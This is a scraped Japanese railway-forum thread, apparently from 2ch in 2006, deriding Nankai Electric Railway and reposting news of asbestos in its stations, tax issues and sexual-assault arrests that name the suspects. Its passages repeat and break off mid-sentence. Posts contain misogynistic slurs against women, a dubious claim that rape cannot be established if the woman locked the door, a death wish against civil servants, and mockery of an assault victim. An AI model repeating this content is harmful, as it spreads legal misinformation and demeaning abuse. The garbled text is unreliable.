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ろうな。南海電鉄 アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけ
た部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤
去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとし
ており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このう
ち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去すること
にしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.o
r.jp/news/2005/08/02/d20050802000028.html南海電鉄アスベストむき出しについてのＮＨＫのテレビ報道ttp://www3.nhk.or.jp/news/parts/img/news/news_video.gif
南海は１４〜１５日は平日ダイヤで運行通勤利用客が減るのにどうかと思う。高野線の夜の特急りんかんなんか無駄になってくるが。各公営交通、阪急系（含阪神）近鉄、京阪など多くの交通
機関は休日ダイヤで運行する時代なのに。ここだけは他社のマネごとはしないのは不思議に思う。もしかして、割引率の高い土休回数券をできるだけ利用させたくないから？そう考えるといか
にも南海らしくていい。>517ん？泉北線も平日ダイヤだな。あいつらは何も考えないボンクラ連中だからどうでもいいが。たかが小１時間の路線にトイレ車？絶対ないな。維持のためのコスト
がバカにならん。民営化後のＪＲが手始めに半減させたんやから。
機関は休日ダイヤで運行する時代なのに。ここだけは他社のマネごとはしないのは不思議に思う。もしかして、割引率の高い土休回数券をできるだけ利用させたくないから？そう考えるといか
にも南海らしくていい。>517ん？泉北線も平日ダイヤだな。あいつらは何も考えないボンクラ連中だからどうでもいいが。たかが小１時間の路線にトイレ車？絶対ないな。維持のためのコスト
がバカにならん。民営化後のＪＲが手始めに半減させたんやから。
明日はりんくうアウトレットモール行くか。当然空港線ですら汚物７０００系の確率の高い南海は使わない。大阪駅から環状線を使い、新今宮をスルーして天王寺からＪＲで。しかも金券ショ
ップですでに市場に出回っているＪスルーカード買って。こうすれば、サービス度ゼロの汚物７０００系に乗せようとする南海にも、代替交通手段のＪＲにも、１円たりとも儲けさせることは
ない。>581あそこは電車で行くような場所ではない。高速料金も、休日は終日割引となるのでお得。（ＥＴＣ利用時）車で行った方が帰りは特に楽だ。車が都合で使えないなら、私鉄系バス会
社のツアーを利用するといい。割引券とかセットになっているのでお得。車両も、高速バスでいい部類の車を使っているのでさらにお得。関空行バスと１００円バスの乗り継ぎは、利用しない
でもらいたい。ＪＲの特急利用プランと同じく、時間と金の無駄遣いだ。難波→和歌山市は南海利用、サザン自由席も雌犬が二回巡回していた。和歌山市→和歌山と移動して、くろしおで天王
寺へ。お京阪で都を目指す。京阪のダブルデッカー車で快適に移動したが、四条で下車した。感想。南海車両ボロ過ぎ。阪急や京阪で河原町に買い物に行くべきだと思った。お京阪は快適、金
払う価値ある。最後に、京都市営、初乗り２００円だったような気がしたが２１０円だった。まぁ日本一赤字な地下鉄だからだろが、無能な公務員は死ねと思った。阪急や京阪がいかに畿内地
域に貢献しているのかを改めて痛感した。京阪のサービスの良さには感動しました。二階建て車両といい、テレビカーといい・・・最高。さらに、友人改札で精算したときにも接客態度が南海
とは比較にならなかった。関西人に愛されてるのは阪急・阪神・京阪くらいじゃないかな。阪急・阪神・京阪以外は高いし、競合ない限りサービス悪い。関西で、阪急沿線は一種のブランドイ
メージだよ。>580サザン自由席、ボロ車つかって混雑さして、指定席に誘導しているのだろう。僕はあくまでも阪急でしか買い物しないようにしてるけど。京阪クロスシートで南海よりマシだ
ったよ。売上が京王と同じと考えれば、確かにちょい京王より運賃は高いが、車両が京王とは比較にならない快適さだから・・・関東的には羨ましい。運賃も、東武や南海よりは安い様子だし。
ップですでに市場に出回っているＪスルーカード買って。こうすれば、サービス度ゼロの汚物７０００系に乗せようとする南海にも、代替交通手段のＪＲにも、１円たりとも儲けさせることは
ない。>581あそこは電車で行くような場所ではない。高速料金も、休日は終日割引となるのでお得。（ＥＴＣ利用時）車で行った方が帰りは特に楽だ。車が都合で使えないなら、私鉄系バス会
社のツアーを利用するといい。割引券とかセットになっているのでお得。車両も、高速バスでいい部類の車を使っているのでさらにお得。関空行バスと１００円バスの乗り継ぎは、利用しない
でもらいたい。ＪＲの特急利用プランと同じく、時間と金の無駄遣いだ。難波→和歌山市は南海利用、サザン自由席も雌犬が二回巡回していた。和歌山市→和歌山と移動して、くろしおで天王
寺へ。お京阪で都を目指す。京阪のダブルデッカー車で快適に移動したが、四条で下車した。感想。南海車両ボロ過ぎ。阪急や京阪で河原町に買い物に行くべきだと思った。お京阪は快適、金
払う価値ある。最後に、京都市営、初乗り２００円だったような気がしたが２１０円だった。まぁ日本一赤字な地下鉄だからだろが、無能な公務員は死ねと思った。阪急や京阪がいかに畿内地
域に貢献しているのかを改めて痛感した。京阪のサービスの良さには感動しました。二階建て車両といい、テレビカーといい・・・最高。さらに、友人改札で精算したときにも接客態度が南海
とは比較にならなかった。関西人に愛されてるのは阪急・阪神・京阪くらいじゃないかな。阪急・阪神・京阪以外は高いし、競合ない限りサービス悪い。関西で、阪急沿線は一種のブランドイ
メージだよ。>580サザン自由席、ボロ車つかって混雑さして、指定席に誘導しているのだろう。僕はあくまでも阪急でしか買い物しないようにしてるけど。京阪クロスシートで南海よりマシだ
ったよ。売上が京王と同じと考えれば、確かにちょい京王より運賃は高いが、車両が京王とは比較にならない快適さだから・・・関東的には羨ましい。運賃も、東武や南海よりは安い様子だし。
南海＼(^o^)／ｵﾜﾀ
さすが電鉄会社社員だ「乗る」のが得意らしいちょっと、ちょっと、でトイレに連れ込みって余りに安易じゃない？南海電車のトイレはそういう目的で作られていると初めて知った。何回「発
射？」難解電車？南海電鉄の運転手・上野敦弘と、同じく車掌の喜多信也は、電車に乗車しないで、なんと「有馬温泉」のホテルで、23歳のコンパニオンに強引に乗車したという。しかも、こ
れまた「スーフリ」である。ホテルの宴会場から男性用トイレに引っ張り込んで、２人で回してしまったというのだ。しかも、２人は「合意でやった」と言っているらしい。合意というんだっ
たら、「５万円支払いました」って言うんだったら分かるんだけど、それだって、トイレなんかじゃやらないだろ。しかし、今や「輪姦」は重罪だからな。10年は覚悟しないと駄目だ。それに
しても、運転手と車掌がコンビでコンパニオンに乗車するなんて、南海電鉄はなかなかのコンビネーションを教育していたことになる。いずれにしても、これが現実である。南海電鉄の上野敦
弘と喜多信也上野敦弘は南海電鉄の運転士。喜多信也は車掌。上野敦弘と喜多信也は強制わいせつと監禁の疑いで７月２５日に逮捕された。上野敦弘と喜多信也は５月２９日午後８時５０分頃
、有馬温泉のホテルでコンパニオン女性（２３才）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をしたという。上野敦弘と喜多信也両容疑者は「合意の上だった」と言っている
が当然の事ながらそれは疑わしい。コンパニオン女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘いそのまま男性トイレに連れ込んだと言うから、オシッコも我慢していたかも
知れない。きっとそうだろう。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメントし、両容疑者の処分を検討しているらしいが、検討するまでもないだろ。上野敦弘は３４
才で大阪府羽曳野市在住。喜多信也は３３才で和歌山県橋本市在住。第176条13歳以上の男女に対し、暴行又は脅迫を用いてわいせつな行為をした者は、６月以上10年以下の懲役に処する。13
歳未満の男女に対し、わいせつな行為をした者も、同様とする。第220条 不法に人を逮捕し、又は監禁した者は、３月以上７年以下の懲役に処する。
射？」難解電車？南海電鉄の運転手・上野敦弘と、同じく車掌の喜多信也は、電車に乗車しないで、なんと「有馬温泉」のホテルで、23歳のコンパニオンに強引に乗車したという。しかも、こ
れまた「スーフリ」である。ホテルの宴会場から男性用トイレに引っ張り込んで、２人で回してしまったというのだ。しかも、２人は「合意でやった」と言っているらしい。合意というんだっ
たら、「５万円支払いました」って言うんだったら分かるんだけど、それだって、トイレなんかじゃやらないだろ。しかし、今や「輪姦」は重罪だからな。10年は覚悟しないと駄目だ。それに
しても、運転手と車掌がコンビでコンパニオンに乗車するなんて、南海電鉄はなかなかのコンビネーションを教育していたことになる。いずれにしても、これが現実である。南海電鉄の上野敦
弘と喜多信也上野敦弘は南海電鉄の運転士。喜多信也は車掌。上野敦弘と喜多信也は強制わいせつと監禁の疑いで７月２５日に逮捕された。上野敦弘と喜多信也は５月２９日午後８時５０分頃
、有馬温泉のホテルでコンパニオン女性（２３才）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をしたという。上野敦弘と喜多信也両容疑者は「合意の上だった」と言っている
が当然の事ながらそれは疑わしい。コンパニオン女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘いそのまま男性トイレに連れ込んだと言うから、オシッコも我慢していたかも
知れない。きっとそうだろう。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメントし、両容疑者の処分を検討しているらしいが、検討するまでもないだろ。上野敦弘は３４
才で大阪府羽曳野市在住。喜多信也は３３才で和歌山県橋本市在住。第176条13歳以上の男女に対し、暴行又は脅迫を用いてわいせつな行為をした者は、６月以上10年以下の懲役に処する。13
歳未満の男女に対し、わいせつな行為をした者も、同様とする。第220条 不法に人を逮捕し、又は監禁した者は、３月以上７年以下の懲役に処する。
2006年07月25日電車の運転士と車掌の不詳事運転士と車掌が女性監禁 トイレで強制わいせつまったくといいますか･･･南海電鉄の運転士（34、近鉄沿線在住）と車掌（33）が、有馬温泉のホテ
ルで女性をトイレに監禁して暴行とのこと。南海電鉄の運転士と車掌がトイレで強制わいせつ2006-07-2600:45:56/三面記事的運転士と車掌が女性監禁 トイレで強制わいせつ (共同通信)「合
意のもとだった」とかで否認しているとか。どちらであっても、感心したことじゃないでよ。馬鹿なコンビであるとしか言いようがないが。性犯罪者の否認に激怒！運転士と車掌が強制わいせ
つと監禁で逮捕されました。名前は南海鉄道運転士上野敦弘(34)同車掌喜多信也(33)5月29日午後8時50分ごろ、コンパニオン女性(23)を男性トイレにつれこみ、施錠したのち体に触るなどのわ
いせつ行為をした疑い。宴会の2次会で、女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだ。両容疑者は合意のうえだったと容疑を否認。性犯罪において容疑を否認すると
立証が難しいという現状、なんとかならないですかね？世の中の女性が色々と細かい点について知らない。細かい取り決め？が多すぎるのです。例をあげると、部屋で男女2人きりになった場合
、部屋の鍵を女性が閉めると強姦は成立しません。ようするに、部屋に男性をあげる場合、その気もないのに鍵を閉めてはいけないってことです。このような一般には知れ渡ってないルールが
あることも問題です。しかし！性犯罪において無条件に被害者の言い分を取り入れることは多くの問題がでてきます。実際にこんな事件がありましたよね？痴漢をされていないのに痴漢された
と言い、家族ぐるみで示談金をせしめていた、男性の、いや社会の敵である女子高生。被害者(ここで言う被害者は男性)はこのような冤罪で社会的制裁を受けるっていう事があるのも事実です。
このようなゴミクズ女が喜ぶような判例を作ってはいけません。しかし、大多数は男性側が悪であることも現実です。このような腹黒いゴミクズ女が存在しなければ、諸手を振って無条件で男
性側を悪とすることにやぶさかではありませんが…このようなゴミクズ女を除いたとしても、所詮男女間のことですから、感情の縺れという場合も考えられます。よって、性犯罪とは非常に難
ルで女性をトイレに監禁して暴行とのこと。南海電鉄の運転士と車掌がトイレで強制わいせつ2006-07-2600:45:56/三面記事的運転士と車掌が女性監禁 トイレで強制わいせつ (共同通信)「合
意のもとだった」とかで否認しているとか。どちらであっても、感心したことじゃないでよ。馬鹿なコンビであるとしか言いようがないが。性犯罪者の否認に激怒！運転士と車掌が強制わいせ
つと監禁で逮捕されました。名前は南海鉄道運転士上野敦弘(34)同車掌喜多信也(33)5月29日午後8時50分ごろ、コンパニオン女性(23)を男性トイレにつれこみ、施錠したのち体に触るなどのわ
いせつ行為をした疑い。宴会の2次会で、女性が席を立ったところ「ちょっと来て」と誘い、トイレに連れ込んだ。両容疑者は合意のうえだったと容疑を否認。性犯罪において容疑を否認すると
立証が難しいという現状、なんとかならないですかね？世の中の女性が色々と細かい点について知らない。細かい取り決め？が多すぎるのです。例をあげると、部屋で男女2人きりになった場合
、部屋の鍵を女性が閉めると強姦は成立しません。ようするに、部屋に男性をあげる場合、その気もないのに鍵を閉めてはいけないってことです。このような一般には知れ渡ってないルールが
あることも問題です。しかし！性犯罪において無条件に被害者の言い分を取り入れることは多くの問題がでてきます。実際にこんな事件がありましたよね？痴漢をされていないのに痴漢された
と言い、家族ぐるみで示談金をせしめていた、男性の、いや社会の敵である女子高生。被害者(ここで言う被害者は男性)はこのような冤罪で社会的制裁を受けるっていう事があるのも事実です。
このようなゴミクズ女が喜ぶような判例を作ってはいけません。しかし、大多数は男性側が悪であることも現実です。このような腹黒いゴミクズ女が存在しなければ、諸手を振って無条件で男
性側を悪とすることにやぶさかではありませんが…このようなゴミクズ女を除いたとしても、所詮男女間のことですから、感情の縺れという場合も考えられます。よって、性犯罪とは非常に難
しいのです。しかし、だからといって強姦するような人間は極刑をもって望むべし！と、思いますが。まぁ、今回の場合は「見苦しい言い訳でFA？」「当然です」ちなみに女性のみなさんが少
しは溜飲を下げる実話をひとつ披露します。(不快感を感じるだけかもしれませんが…)未成年の女性を車に連れ込み2人を強姦した男が今も服役中です。(川越少年刑務所内)そのクズは刑務所の
中で「同意のうえだった」と必死で言い訳をしていますが、今や受刑者の性の奴隷です。なんと、同じ房の連中のフェラ○オをやらされているのです。フェラ○オをされている時の受刑者はエ
ロ本を見ているそうです。(爆笑)これから強姦などの性犯罪を考えている方がいたとしたら、実行する前にこの実話を思い出してください。見苦しい言い訳をする性犯罪者は性犯罪者をめの敵
にする刑務所で言い訳してくださいね。
しは溜飲を下げる実話をひとつ披露します。(不快感を感じるだけかもしれませんが…)未成年の女性を車に連れ込み2人を強姦した男が今も服役中です。(川越少年刑務所内)そのクズは刑務所の
中で「同意のうえだった」と必死で言い訳をしていますが、今や受刑者の性の奴隷です。なんと、同じ房の連中のフェラ○オをやらされているのです。フェラ○オをされている時の受刑者はエ
ロ本を見ているそうです。(爆笑)これから強姦などの性犯罪を考えている方がいたとしたら、実行する前にこの実話を思い出してください。見苦しい言い訳をする性犯罪者は性犯罪者をめの敵
にする刑務所で言い訳してくださいね。
南海ヲタの一日PM1:00⊂(＾ω＾⊂⌒｀つおはようお起床。PM3:00|￣／|(＾ω＾)ｶﾁｶﾁ妄想楽しいお|□|σノ）|￣￣￣￣￣|PM9:00ｼｭｯｼｭｯ＿＿＿＿( ＾ω＾)気持ちいいおヽ〜/（ヽ♂彡[二二]」
」",AM2:00|￣／|(＾ω＾ )ｶﾁｶﾁ7000系叩き楽しいお|□|σノ）|￣￣￣￣￣|AM6:00(＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣ ￣ フ／／（＿＿＿／／（＿＿＿＿＿_
」",AM2:00|￣／|(＾ω＾ )ｶﾁｶﾁ7000系叩き楽しいお|□|σノ）|￣￣￣￣￣|AM6:00(＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣ ￣ フ／／（＿＿＿／／（＿＿＿＿＿_
>585＞車が都合で使えないなら、私鉄系バス会社のツアーを利用するといい。私鉄系バス会社＝阪急バスだから、キミら南海ヲタのだい〜っ嫌いな阪急が儲かっちゃうんだけど、南海ヲタとし
てはそれでもいいの？（藁
てはそれでもいいの？（藁
いまどき大手で「片開き扉」だってよ！（プ1：名無し野電車区：2006/08/13(日)13:44:18ID:rRlr3xjN大手私鉄を名乗るのならば全車両「両開き扉」になってからぢゃないとな！？ttp://hobb
y7.2ch.net/test/read.cgi/rail/1155444258/このスレで、存在すら忘れられている、影が薄く存在感のない南海（藁
y7.2ch.net/test/read.cgi/rail/1155444258/このスレで、存在すら忘れられている、影が薄く存在感のない南海（藁
>695dionはアク禁じゃないですが、何か？
南海はぼろい
552 ：名無しでGO!：2006/08/14(月) 00:41:09 ID:NBZ7fp830
>675
赤字監禁強制わいせつ南海ヲタの一日PM1:00⊂(＾ω＾⊂⌒｀つおはようお起床。PM3:00|￣／|(＾ω＾)ｶﾁｶﾁ阪急叩き楽しいお|□|σノ）|￣￣￣￣￣|PM9:00ｼｭｯｼｭｯ＿＿＿＿( ＾ω＾)気持ちいい
おヽ〜/（ヽ♂彡[二二]」」",PM23:59|￣／|(＾ω＾)ｶﾁｶﾁ鳥楽しいお|□|σノ）|￣￣￣￣￣|AM6:00(＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣￣フ／／（＿＿＿／／（＿＿＿＿＿_
おヽ〜/（ヽ♂彡[二二]」」",PM23:59|￣／|(＾ω＾)ｶﾁｶﾁ鳥楽しいお|□|σノ）|￣￣￣￣￣|AM6:00(＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣￣フ／／（＿＿＿／／（＿＿＿＿＿_
南海は料金が高いから避けたくなるわなも。本数も少ないから避けたくなるわなも。たくさん走っているように見えるのは難波付近のみ。あとの地域は１時間に１〜２本。最終的には１時間に
１本になり廃止の道を辿る。南海・・・昔は国鉄より好んで利用していたが・・・
１本になり廃止の道を辿る。南海・・・昔は国鉄より好んで利用していたが・・・
【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50
大阪桐蔭が早稲田に負けたのは赤字南海ヲタのせいだ！！
[珍作]攻撃:71素早さ:93防御:22命中:57運:23HP:262[]攻撃:23素早さ:25防御:93命中:64運:28HP:138珍作vs鶚戦闘開始！！[珍作]の攻撃HIT[]は53のダメージを受けた。[]の攻撃HIT[珍作]は1
のダメージを受けた。[珍作]の攻撃HIT[]は1のダメージを受けた。[]の攻撃HIT[珍作]は111のダメージを受けた。[珍作]の攻撃HIT[]は12のダメージを受けた。[]の攻撃HIT[珍作]は51のダメー
ジを受けた。[珍作]の攻撃HIT[]は1のダメージを受けた。[]の攻撃HIT[珍作]は20のダメージを受けた。[珍作]の攻撃HIT[]は68のダメージを受けた。[]の攻撃HIT[珍作]は1のダメージを受けた
。[珍作]の攻撃HIT[]は84のダメージを受けた。[珍作]が[]を倒しました(ラウンド数：6)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php
のダメージを受けた。[珍作]の攻撃HIT[]は1のダメージを受けた。[]の攻撃HIT[珍作]は111のダメージを受けた。[珍作]の攻撃HIT[]は12のダメージを受けた。[]の攻撃HIT[珍作]は51のダメー
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[南海運転士上野敦弘車掌喜多信也]攻撃:60素早さ:22防御:34命中:46運:21HP:160[有馬温泉コンパニオン]攻撃:64素早さ:68防御:73命中:16運:40HP:247南海運転士上野敦弘車掌喜多信也vs有馬
温泉コンパニオン戦闘開始！！[有馬温泉コンパニオン]の攻撃HIT[南海運転士上野敦弘車掌喜多信也]は79のダメージを受けた。[南海運転士上野敦弘車掌喜多信也]の攻撃HIT[有馬温泉コンパニ
オン]は25のダメージを受けた。[有馬温泉コンパニオン]の攻撃HIT[南海運転士上野敦弘車掌喜多信也]は106のダメージを受けた。[有馬温泉コンパニオン]が[南海運転士上野敦弘車掌喜多信也]
を倒しました(ラウンド数：2)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php
温泉コンパニオン戦闘開始！！[有馬温泉コンパニオン]の攻撃HIT[南海運転士上野敦弘車掌喜多信也]は79のダメージを受けた。[南海運転士上野敦弘車掌喜多信也]の攻撃HIT[有馬温泉コンパニ
オン]は25のダメージを受けた。[有馬温泉コンパニオン]の攻撃HIT[南海運転士上野敦弘車掌喜多信也]は106のダメージを受けた。[有馬温泉コンパニオン]が[南海運転士上野敦弘車掌喜多信也]
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南海が阪急等と違いお盆も平日ダイヤにしている理由それは、沿線住民が中小零細企業労働者が大半で、お盆といえども大企業から尻叩かれて休めないから南海沿線の所得の低さがそれを如実
に物語っている
に物語っている
>768お盆も平日ダイヤの南海＼(^o^)／
南海はぼろい
南海が赤字だからさ
南海は、なぜそんなに経営規模でかなわない阪急と比較したがるのだろうか？むしろ阪急に失礼だと思うべきだろう南海程度なら、山陽と比較してるのが一番
>781山陽に失礼だろ(ﾟДﾟ)ｺﾞﾙｧ
>782おっと君の言うように、山陽との比較でも、山陽に非常に失礼だったな中小私鉄にも劣る、自称大手私鉄南海wwww
設備投資をする資金的余裕がないからって、「ボロ＝文化財」だということにしちゃう、情けない貧乏南海wwwww
来年には、7000系を文化財列車と名付け、末永く片開きドア車を重宝するんだろうなwwww
盆休みでなくても大して混んでないという話もあるけど赤字監禁強制わいせつ南海ヲタは東京に来るな！大阪に引きこもってろ。
南海終電早阪和線強敵ここですか？わざわざ他スレで自作自演してまで、珍作の好感度をさらに下げようとしてる奴がいるのは？まあ、珍作の好感度を０→−５０にしても、これ以上評価は下
がらない気はするけどなw水軒和歌山港和歌山市紀ノ川>966-968は八尾市民孝子みさき公園>972なら7000系をもう一度更新淡輪箱作珍作鳥取ノ荘尾崎恵我之荘堺東樽井岡田浦吉見ノ里泉佐野羽
倉崎おやすみ井原里おはよう鶴原二色浜貝塚鳥↓蛸地蔵995なら6501F廃車岸和田1000なら赤字南海、倒産
がらない気はするけどなw水軒和歌山港和歌山市紀ノ川>966-968は八尾市民孝子みさき公園>972なら7000系をもう一度更新淡輪箱作珍作鳥取ノ荘尾崎恵我之荘堺東樽井岡田浦吉見ノ里泉佐野羽
倉崎おやすみ井原里おはよう鶴原二色浜貝塚鳥↓蛸地蔵995なら6501F廃車岸和田1000なら赤字南海、倒産
金鳥の夏、重複スレ立てる日本の夏厨。>1_,-─ｧへr-ｔ、,.''´,/':::':::::::::::::└'´|､,",}｀::::::,;:'';;'';;';;'';:;,::::.´ｽ/}:::::::,:''-‐ﾞ:;;:::''ﾞ::::::,ﾉ'i,i'>-く(･)ﾞ.ゝ
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└┘｀'ｰ--‐''′ﾄﾞｫﾄﾞﾄﾞｫﾄﾞﾄﾞｫﾝ…重複誘導【当期赤字】南海電気鉄道ｽﾚｯﾄﾞNa79【強制猥褻】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/∧∧ミ＿ドスッ(# ,,)┌─┴┴─┐/つ.
終了│〜′/´└─┬┬─┘∪∪；;､`;｡;`││この赤字南海スレは無事に終了しましたありがとうございましたもう書き込まないでください南海線沿線は高野線と違ってＤＱＮ率が高いので出生
率も高いようですttp://www.kawachi-nagano.net/new/32.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の
税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万
Y'''''''"',{｀刀リヾﾟ´,;;､}',,.::';':';::':::::'レ-‐ﾍ.,!'i,{:;';:'ﾞ::::,;:''ﾞ::::::ﾞ:;;::::ﾞ::.､/.ヽ.ヽ;;,::''::;ﾞ´上ﾞ;:::::'':::::,ﾝ′ヽ(:::;:::::ﾞ､山,'::::ﾞ,.イ｀`''ｰ-ニ
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終了│〜′/´└─┬┬─┘∪∪；;､`;｡;`││この赤字南海スレは無事に終了しましたありがとうございましたもう書き込まないでください南海線沿線は高野線と違ってＤＱＮ率が高いので出生
率も高いようですttp://www.kawachi-nagano.net/new/32.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の
税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万
円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費とし
て約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほ
かにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.g
oo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９
０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/
kansai/news/OSK200605120072.html 南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられ
たアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802
000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性に
その場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本
容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------
て約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほ
かにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.g
oo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９
０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/
kansai/news/OSK200605120072.html 南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられ
たアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802
000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性に
その場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本
容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------
--------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれ
も同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発
表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園
発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員
の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課に
よると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子
生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体
触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調
べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両
容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。
２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。
も同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発
